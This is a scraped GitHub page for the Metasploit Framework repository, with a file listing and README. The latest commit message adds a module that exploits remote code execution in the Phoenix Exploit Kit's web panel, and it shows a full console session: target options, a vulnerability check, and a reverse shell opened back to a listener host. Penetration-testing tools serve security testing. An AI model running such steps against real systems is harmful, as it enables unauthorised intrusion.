Metasploit Framework
 
 
 
 
 
 
Go to file
Jay Turla d4c82868de Add Phoenix Exploit Kit Remote Code Execution
This module exploits a Remote Code Execution in the web panel of Phoenix Exploit Kit Remote Code Execution via the geoip.php. The Phoenix Exploit Kit is a popular commercial crimeware tool that probes the browser of the visitor for the presence of outdated and insecure versions of browser plugins like Java, and Adobe Flash and Reader which then silently installs malware.

```
msf exploit(phoenix_exec) > show options

Module options (exploit/multi/http/phoenix_exec):

   Name       Current Setting              Required  Description
   ----       ---------------              --------  -----------
   Proxies                                 no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST      192.168.52.128               yes       The target address
   RPORT      80                           yes       The target port
   SSL        false                        no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /Phoenix/includes/geoip.php  yes       The path of geoip.php which is vulnerable to RCE
   VHOST                                   no        HTTP server virtual host


Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.52.129   yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Phoenix Exploit Kit / Unix


msf exploit(phoenix_exec) > check
[+] 192.168.52.128:80 The target is vulnerable.
msf exploit(phoenix_exec) > exploit

[*] Started reverse TCP double handler on 192.168.52.129:4444 
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo RZpbBEP77nS8Dvm4;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "RZpbBEP77nS8Dvm4\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 5 opened (192.168.52.129:4444 -> 192.168.52.128:51748) at 2016-08-19 09:29:22 -0400

uname -a
Linux ubuntu 4.4.0-28-generic #47-Ubuntu SMP Fri Jun 24 10:08:35 UTC 2016 i686 i686 i686 GNU/Linux
```
2016-08-19 21:29:55 +08:00
.github Fix link 2016-02-22 15:14:38 -06:00
app Move shared example from pro into framework 2016-04-07 13:09:52 -05:00
config Land #6556, include Vagrant development environment provisioner 2016-06-09 09:55:37 -05:00
data add exploit for cve-2016-0189 2016-08-01 13:26:35 -05:00
db still trying to fix these migrations 2016-05-11 14:54:40 -05:00
documentation Land #7012, Linux service persistence module 2016-08-17 22:45:35 -05:00
external add exploit for cve-2016-0189 2016-08-01 13:26:35 -05:00
features Apparently the tests expected the typo in DATABASE. 2016-07-28 17:40:37 -05:00
lib Add ps -c to show child processes of current shell 2016-08-18 19:23:21 -05:00
modules Add Phoenix Exploit Kit Remote Code Execution 2016-08-19 21:29:55 +08:00
plugins replace old rex::ui::text::table refs 2016-08-10 13:30:09 -05:00
script rails generate cucumber:install 2014-08-27 14:10:04 -05:00
scripts typo 2016-08-13 08:22:41 -05:00
spec finishing converting the last of this to credentials 2016-07-29 09:58:17 -05:00
test replace old rex::ui::text::table refs 2016-08-10 13:30:09 -05:00
tools replace old rex::ui::text::table refs 2016-08-10 13:30:09 -05:00
.gitignore Merge branch 'master' into vagrant 2016-02-20 09:10:17 -07:00
.gitmodules Add RDI submodule, port Kitrap0d 2013-11-27 16:04:41 +10:00
.mailmap And Thao, too! 2016-07-01 16:10:21 -04:00
.rspec Add modern --require to .rspec 2014-10-08 10:55:40 -05:00
.rubocop.yml Reapply PR #4113 (removed via #4175) 2014-11-11 15:06:43 -06:00
.ruby-gemset Restoring ruby and gemset files 2014-05-20 10:17:00 -05:00
.ruby-version bump ruby version to 2.3.1 2016-05-03 06:23:15 +02:00
.simplecov Remove fastlib 2014-09-18 15:24:21 -05:00
.travis.yml bump ruby version to 2.3.1 2016-05-03 06:23:15 +02:00
.yardopts update .yardopts 2014-07-24 13:59:04 -05:00
CODE_OF_CONDUCT.md Add individual contacts 2016-01-13 10:35:39 -06:00
CONTRIBUTING.md Add note about issues to CONTRIBUTING.md 2016-06-30 15:14:59 -05:00
COPYING Update COPYING, too. 2016-01-04 16:31:01 -06:00
Gemfile fix deps 2016-05-13 13:34:18 -05:00
Gemfile.local.example Fix example Gemfile.local to work with existing 2014-06-24 00:00:47 -05:00
Gemfile.lock Land #7200, Rex::Ui::Text cleanup 2016-08-12 16:22:55 -05:00
HACKING Update link for The Metasploit Development Environment 2014-07-15 10:16:47 -05:00
LICENSE Update copyright notice to 2016 [ci skip] 2016-01-03 20:25:47 +05:30
README.md Use SVG badges to please the eyes 👀 2015-12-13 00:28:14 +01:00
Rakefile Merge branch 'feature/MSP-11130/metasploit-framework-spec-constants' into feature/MSP-11147/thread-leak-detection 2014-11-05 15:47:59 -06:00
Vagrantfile switch to inline provisioning, use official ubuntu vagrant box 2016-06-09 09:50:15 -05:00
metasploit-framework.gemspec Switch errors over to windows_error gem... 2016-07-27 17:43:00 -05:00
msfbinscan Fix -h exit status for Omnibus 2015-09-04 10:24:49 -05:00
msfconsole Use Rex::Compat.open_file to open profiling report 2014-09-19 11:13:28 -05:00
msfd Initialize the DisableBanner option 2015-10-08 14:08:45 -05:00
msfelfscan Fix -h exit status for Omnibus 2015-09-04 10:24:49 -05:00
msfmachscan Fix -h exit status for Omnibus 2015-09-04 10:24:49 -05:00
msfpescan Fix -h exit status for Omnibus 2015-09-04 10:24:49 -05:00
msfrop move Rex::Ui::Text::Color out to rex::text gem 2016-08-11 10:28:09 -05:00
msfrpc Change {} back to do/end 2015-03-09 00:00:49 -05:00
msfrpcd allow overriding the default timeout for a session 2015-05-01 15:04:55 -05:00
msfupdate File.exists? must die 2016-04-21 00:47:07 -04:00
msfvenom replace old rex::ui::text::table refs 2016-08-10 13:30:09 -05:00

README.md

Metasploit Build Status Code Climate

The Metasploit Framework is released under a BSD-style license. See COPYING for more details.

The latest version of this software is available from: https://metasploit.com

Bug tracking and development information can be found at: https://github.com/rapid7/metasploit-framework

New bugs and feature requests should be directed to: http://r-7.co/MSF-BUGv1

API documentation for writing modules can be found at: https://rapid7.github.io/metasploit-framework/api

Questions and suggestions can be sent to: https://lists.sourceforge.net/lists/listinfo/metasploit-hackers

Installing

Generally, you should use the free installer, which contains all of the dependencies and will get you up and running with a few clicks. See the Dev Environment Setup if you'd like to deal with dependencies on your own.

Using Metasploit

Metasploit can do all sorts of things. The first thing you'll want to do is start msfconsole, but after that, you'll probably be best served by reading Metasploit Unleashed, the great community resources, or the wiki.

Contributing

See the Dev Environment Setup guide on GitHub, which will walk you through the whole process from installing all the dependencies, to cloning the repository, and finally to submitting a pull request. For slightly more information, see Contributing.